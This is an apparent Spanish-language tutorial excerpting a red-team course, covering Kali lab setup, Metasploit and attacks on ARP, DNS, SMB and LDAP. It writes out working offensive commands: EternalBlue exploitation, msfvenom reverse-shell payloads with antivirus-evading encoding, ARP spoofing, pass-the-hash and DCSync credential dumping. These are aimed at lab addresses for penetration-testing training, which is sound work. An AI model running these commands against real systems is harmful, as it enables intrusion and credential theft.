Network Security Red Team explicado simplemente (con diagramas y código real)
Network Security Red Team: lo esencial en un artículo — código real, diagramas y pasos concretos, extractos de un curso de 39 lecciones.
Una guía que va al grano: Network Security Red Team diseccionada con diagramas, ejemplos concretos y comandos probados. Todo proviene de un curso estructurado de 11 capítulos — aquí tienes lo mejor.
- Preparar su laboratorio Red Team
- Fundamentos de seguridad de red
- Reconocimiento y enumeración de red
- Explotación y acceso inicial
- Movimiento lateral y pivoting
Instalar Kali Linux y la infraestructura de laboratorio virtual
Al final de esta lección tendrás: instalado un hipervisor (VirtualBox o VMware), desplegado Kali Linux en una VM correctamente aislada, configurado una red host-only para el laboratorio y verificado el correcto funcionamiento de las herramientas Red Team básicas.
1. Requisitos de hardware
💾 Mínimo viable
⚡ Cómodo
🏆 Ideal
En Windows:
systeminfo | findstr /i "Hyper-V" debe mostrar « Yes » para Virtualization Enabled in Firmware. Si no, activa VT-x/AMD-V en la BIOS/UEFI.2. Elegir su hipervisor
| Hipervisor | Precio | SO anfitrión | Ventajas | Inconvenientes |
|---|---|---|---|---|
| VirtualBox 7.x | Gratis (GPL) | Win, macOS, Linux | Open-source, snapshots ilimitados, compatible con GOAD | Rendimiento medio en Windows 11 |
| VMware Workstation Pro | Gratis (desde 2024) | Win, Linux | Muy rápido, NAT eficiente | Más complejo de scriptar |
| VMware Fusion Pro | Gratis (macOS) | macOS (Intel + Apple Silicon) | Soporte ARM64 nativo (M1/M2/M3) | Limitaciones en Apple Silicon (sin Win x86) |
| Hyper-V | Incluido en Win Pro | Windows 10/11 Pro | Rendimiento nativo | Snapshots limitados, conflicto con VBox |
| Proxmox VE | Gratis | Bare metal | Grado de producción, consola web | Requiere servidor dedicado |
VirtualBox por su simplicidad y portabilidad (Mac/Win/Linux), o VMware Workstation Pro por su rendimiento. GOAD soporta ambos de forma nativa mediante Ansible.
3. Instalación de VirtualBox
En Windows
# Descargar desde https://www.virtualbox.org/wiki/Downloads # Versión 7.0.x (estable) o 7.1.x # Instalación silenciosa mediante winget winget install -e --id Oracle.VirtualBox # Verificar la instalación VBoxManage --version # Debe mostrar: 7.0.x o 7.1.x # Instalar el Extension Pack (USB 3.0, RDP, cifrado de disco) # Descargar Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack
En macOS (Intel)
# Mediante Homebrew brew install --cask virtualbox brew install --cask virtualbox-extension-pack # Aprobar el kext en Preferencias del sistema > Seguridad # (requiere reinicio)
En Linux (Ubuntu / Debian)
# Añadir el repositorio de Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt install -y virtualbox-7.0
# Verificar
VBoxManage --version4. Descargar Kali Linux
Kali Linux es la distribución basada en Debian dedicada a la seguridad ofensiva. Incluye de forma nativa más de 600 herramientas.
# Página oficial: https://www.kali.org/get-kali/ # Opción 1: VM de VirtualBox precompilada (RECOMENDADA) # Archivo : kali-linux-2026.X-virtualbox-amd64.7z # Tamaño : ~3 Go # Ventaja : VBox Guest Additions ya instalados # Opción 2: ISO de instalación # Archivo : kali-linux-2026.X-installer-amd64.iso # Tamaño : ~4 Go # Ventaja : control total sobre la instalación # Opción 3: WSL (Windows Subsystem for Linux) # Ventaja : integración con Windows, ligero # Inconveniente: sin base de datos de Metasploit persistente fácil # Verificación de integridad (¡SIEMPRE!) sha256sum kali-linux-2026.*-virtualbox-amd64.7z # Comparar con el valor publicado en kali.org
Algunos mirrors maliciosos ya han distribuido imágenes de Kali troyanizadas. Siempre verifica la huella SHA256 contra la publicada en el sitio oficial.
5. Importar la VM de Kali precompilada
# 1. Descomprimir el archivo
7z x kali-linux-2026.X-virtualbox-amd64.7z
# ¿Falla 7zip? Instalar: sudo apt install p7zip-full
# 2. Importar en VirtualBox (opción A: GUI)
# File > Import Appliance > seleccionar el .vbox
# 3. Importar por CLI (opción B: script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
--vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144
# 4. Listar las VMs
VBoxManage list vms
# Debe mostrar: "Kali-Red-Team" {uuid}Ajustes recomendados antes del primer arranque
VM="Kali-Red-Team" # Asignar 4 CPU y 6 Go de RAM VBoxManage modifyvm "$VM" --cpus 4 --memory 6144 # Activar el portapapeles compartido bidireccional VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional # Activar la aceleración de vídeo VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on # Desactivar USB 1.0, activar USB 3.0 VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on # Generar una dirección MAC fija (útil para snapshots de red) VBoxManage modifyvm "$VM" --macaddress1 080027AA1010
Metasploit Framework — módulos de exploits de red
Al final de esta lección sabrás navegar por Metasploit Framework (msfconsole), seleccionar los módulos de exploit de red adecuados, elegir un payload adaptado, lanzar un handler y obtener una sesión Meterpreter en un objetivo vulnerable de tu laboratorio.
1. ¿Por qué Metasploit?
Metasploit Framework (MSF) es el framework de explotación más utilizado del mundo. Agrupa más de 2 300 exploits, 1 500 payloads, 700 módulos auxiliares y 600 post-explotaciones.
✅ Fortalezas de Metasploit
⚠️ Límites que debes conocer
Excelente para: pentest pedagógico, CVEs de red clásicas (SMB, RPC, RCE web), pivoting básico. Menos adaptado para: operaciones Red Team furtivas modernas (prefiere Sliver, Mythic, Havoc).
2. Estructura de Metasploit
/usr/share/metasploit-framework/ ├── modules/ │ ├── exploits/ # 2300+ exploits por SO / servicio │ ├── payloads/ # 1500+ payloads │ ├── auxiliary/ # Scanners, fuerza bruta, sniffers │ ├── post/ # Módulos post-explotación │ ├── encoders/ # Ofuscación de payload (poco eficaz contra AV) │ ├── nops/ # NOP sleds │ └── evasion/ # Módulos anti-AV └── data/ # Wordlists, plantillas
Categorías de módulos
| Tipo | Descripción | Ejemplo |
|---|---|---|
| exploit | Código que explota una vulnerabilidad | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary | Scanners, fuzzers, fuerza bruta, DoS | auxiliary/scanner/smb/smb_login |
| payload | Código enviado tras el exploit (shell, meterpreter) | windows/x64/meterpreter/reverse_https |
| post | Acciones tras sesión abierta | post/windows/gather/hashdump |
| encoder | Ofuscación del payload | x86/shikata_ga_nai |
| evasion | Bypass AV/Defender | windows/windows_defender_exe |
3. Primeros pasos en msfconsole
# 1. Iniciar la base PostgreSQL (al arrancar) sudo systemctl start postgresql sudo msfdb init # una sola vez # 2. Lanzar msfconsole con base activada msfconsole -q msf6 > db_status # [*] Connected to msf. Connection type: postgresql. # 3. Crear un workspace por misión (CRUCIAL) msf6 > workspace -a mission_lab msf6 > workspace # * mission_lab <- el asterisco = workspace activo # 4. Importar un escaneo Nmap msf6 > db_import /tmp/enriched.xml msf6 > hosts msf6 > services -p 445 # 5. Búsqueda de un módulo msf6 > search type:exploit eternalblue msf6 > search name:bluekeep platform:windows msf6 > search cve:2017-0144 # 6. Ayuda completa msf6 > help msf6 > info exploit/windows/smb/ms17_010_eternalblue
4. Anatomía de un exploit de Metasploit
# Secuencia estándar para LANZAR UN EXPLOIT msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(...) > show options msf6 exploit(...) > show targets msf6 exploit(...) > show payloads # Configurar las opciones OBLIGATORIAS (Required: yes) msf6 exploit(...) > set RHOSTS 192.168.56.20 msf6 exploit(...) > set RPORT 445 # Elegir un payload adaptado msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(...) > set LHOST 192.168.56.10 # tu Kali msf6 exploit(...) > set LPORT 8443 # Verificar las opciones msf6 exploit(...) > show options # (Opcional) verificar que el objetivo es vulnerable msf6 exploit(...) > check # [+] 192.168.56.20:445 - The target is vulnerable. # ¡Lanzar! msf6 exploit(...) > run # [*] Started HTTPS reverse handler on https://192.168.56.10:8443 # [*] Sending stage (203846 bytes) to 192.168.56.20 # [*] Meterpreter session 1 opened ... meterpreter >
5. Elegir el payload correcto
Convenciones de nomenclatura
windows/x64/meterpreter/reverse_https ^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^^ | SO+arquitectura | Tipo | Transporte windows : Windows x64 : arquitectura 64 bits meterpreter : payload avanzado (vs simple «shell») reverse_https : conexión saliente cifrada hacia el atacante
Transportes principales
| Transporte | Dirección | Furtividad | Cuándo usarlo |
|---|---|---|---|
reverse_tcp | Objetivo → Atacante (puerto personalizado) | Baja (tráfico sospechoso) | Laboratorio, puerto saliente abierto |
reverse_https | Objetivo → Atacante (443 cifrado) | Buena (TLS legítimo) | Red empresarial estándar |
reverse_http | Objetivo → Atacante (80) | Media (HTTP en claro) | Si HTTPS está bloqueado |
bind_tcp | Atacante → Objetivo (puerto personalizado) | Baja (el objetivo escucha) | NAT inverso, objetivo expuesto directamente |
reverse_dns | Túnel vía DNS | Muy buena (raro) | Red ultra segmentada |
reverse_winhttps | HTTPS vía WinHTTP (cert pinning) | Excelente | Bypass proxy empresarial |
En laboratorio:
reverse_tcp en 4444 (rápido).En misión interna:
reverse_https en 443 (pasa firewalls/proxies).Si hay proxy empresarial:
reverse_winhttps que respeta la configuración del sistema.6. Multi/handler — recibir sesiones de forma independiente
El módulo multi/handler es un «receptor genérico» que escucha payloads generados por separado (con msfvenom).
msf6 > use multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 192.168.56.10 msf6 exploit(multi/handler) > set LPORT 443 msf6 exploit(multi/handler) > set ExitOnSession false msf6 exploit(multi/handler) > run -j # -j = job en segundo plano # Ver los jobs activos msf6 > jobs # Detener un job msf6 > jobs -k 1
Generar un payload con msfvenom
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f exe -o /tmp/payload.exe
# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f elf -o /tmp/payload
# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f psh-cmd
# Inyección DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-f dll -o /tmp/payload.dll
# Shellcode en bruto (para loader personalizado)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
-f raw -o /tmp/shellcode.bin
# Codificado (Shikata Ga Nai para bypass simple de AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 \
-e x64/xor_dynamic -i 10 \
-f exe -o /tmp/encoded.exeProtocolos críticos para el Red Team
Al final de esta lección conocerás el funcionamiento y las debilidades explotables de los 7 protocolos fundamentales de una red empresarial Windows: ARP, DNS, SMB, LDAP, Kerberos, RDP y WinRM. Sabrás identificarlos en Wireshark y reconocer qué ataques permite cada uno.
1. ARP — el primer eslabón débil
ARP (Address Resolution Protocol) traduce IP a MAC en una LAN. Sin autenticación, es el objetivo número 1 en una red interna.
# Ver la caché ARP local ip neigh show # o arp -an # Envenenar la caché de un objetivo (en laboratorio) bettercap -iface eth1 > set arp.spoof.targets 192.168.56.20 > set arp.spoof.fullduplex true > arp.spoof on > net.sniff on # Ver el tráfico interceptado en Wireshark sudo wireshark -i eth1
Debilidades de ARP explotables
DAI (Dynamic ARP Inspection) en switches Cisco/HP, 802.1X, ARP estático para la puerta de enlace crítica, o simplemente cifrado extremo a extremo (TLS, VPN) que hace que la interceptación sea inofensiva.
2. DNS — el directorio que habla demasiado
DNS se utiliza no solo para la resolución de nombres, sino que también revela la topología de Active Directory mediante los registros SRV.
# Encontrar el DC de un dominio mediante DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV # Global Catalog
# Encontrar todas las máquinas de un dominio (Zone Transfer si está permitido)
dig @192.168.56.10 lab.local AXFR
# DNS inverso en un /24
for ip in 192.168.56.{1..254}; do
host $ip 2>/dev/null | grep -v NXDOMAIN
done
# DNS dinámico: registrar un nombre falso (si está permitido en laboratorio)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOFAtaques DNS Red Team
| Ataque | Descripción | Herramientas |
|---|---|---|
| Zone transfer (AXFR) | Si está permitido, volcado completo de la zona | dig, dnsenum |
| Envenenamiento de caché DNS | Envenenar la caché de un resolvedor | dnspoof, mitm6 |
| Enumeración de subdominios DNS | Descubrir subdominios (recon externo) | amass, subfinder, sublist3r |
| Túnel DNS C2 | Exfiltrar/controlar mediante consultas DNS | iodine, dnscat2 |
| Secuestro de registros NS | Tomar el control de un NS abandonado | nsec3walker |
3. SMB — el cuchillo suizo del Red Team
SMB (Server Message Block) = compartición de archivos, impresoras, ejecución remota, transporte para RPC. Es EL protocolo de ataque de Windows.
# Enumeración: versión, SO, recursos compartidos, usuarios crackmapexec smb 192.168.56.0/24 crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares crackmapexec smb 192.168.56.10 -u '' -p '' --users # Sesión nula # Listar recursos compartidos con smbclient smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!' # Conectarse a un recurso compartido smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!' smb: \> ls smb: \> get fichier_secret.txt # Montar el recurso compartido sudo mount -t cifs //192.168.56.10/Public /mnt/smb \ -o username=jon.snow,password='Winter2026!',vers=3.0
Ataques SMB emblemáticos
🏭 Pre-auth (sin credenciales)
🔐 Post-auth (con credenciales)
# Probar un host para EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24
# Explotación con Metasploit (solo en laboratorio)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run
# Movimiento lateral PSExec con hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
administrator@192.168.56.10
# Volcado de hashes (DCSync, requiere derechos DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc4. LDAP — el directorio transparente
LDAP (puerto 389/636) expone todo el directorio AD: usuarios, grupos, GPO, OU, ACL. Generalmente basta con una autenticación de dominio para consultarlo.
# Búsqueda de usuarios ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \ sAMAccountName description # Búsqueda de cuentas Kerberoasteables (con SPN) ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \ sAMAccountName servicePrincipalName # Búsqueda de cuentas AS-REP rosteables ldapsearch -x -H ldap://192.168.56.10 \ -D "jon.snow@lab.local" -w 'Winter2026!' \ -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" # Búsqueda del esquema (todas las clases) ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn
BloodHound: LDAP en grafo
# Colección completa desde Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
-ns 192.168.56.10 -c All --zip
# Lanzar Neo4j y BloodHound GUI
sudo neo4j start
bloodhound
# Arrastrar y soltar el .zip en la interfaz
# Consulta: Shortest path to Domain Admins
# Consulta: Find Kerberoastable UsersEste artículo cubre los extractos más útiles — el curso completo Network Security Red Team (11 capítulos, 39 lecciones, ejercicios corregidos y proyecto final) te lleva hasta el final.
./acceder-al-curso-completo curso gratuito: Dominar Claude CodeFAQ
¿Cuánto tiempo se necesita para aprender Network Security Red Team?
¿Se necesitan requisitos previos?
¿Por dónde empezar concretamente?
📬 ¿Quieres recibir este tipo de guía cada semana? Suscríbete gratis — código real, cero palabrería.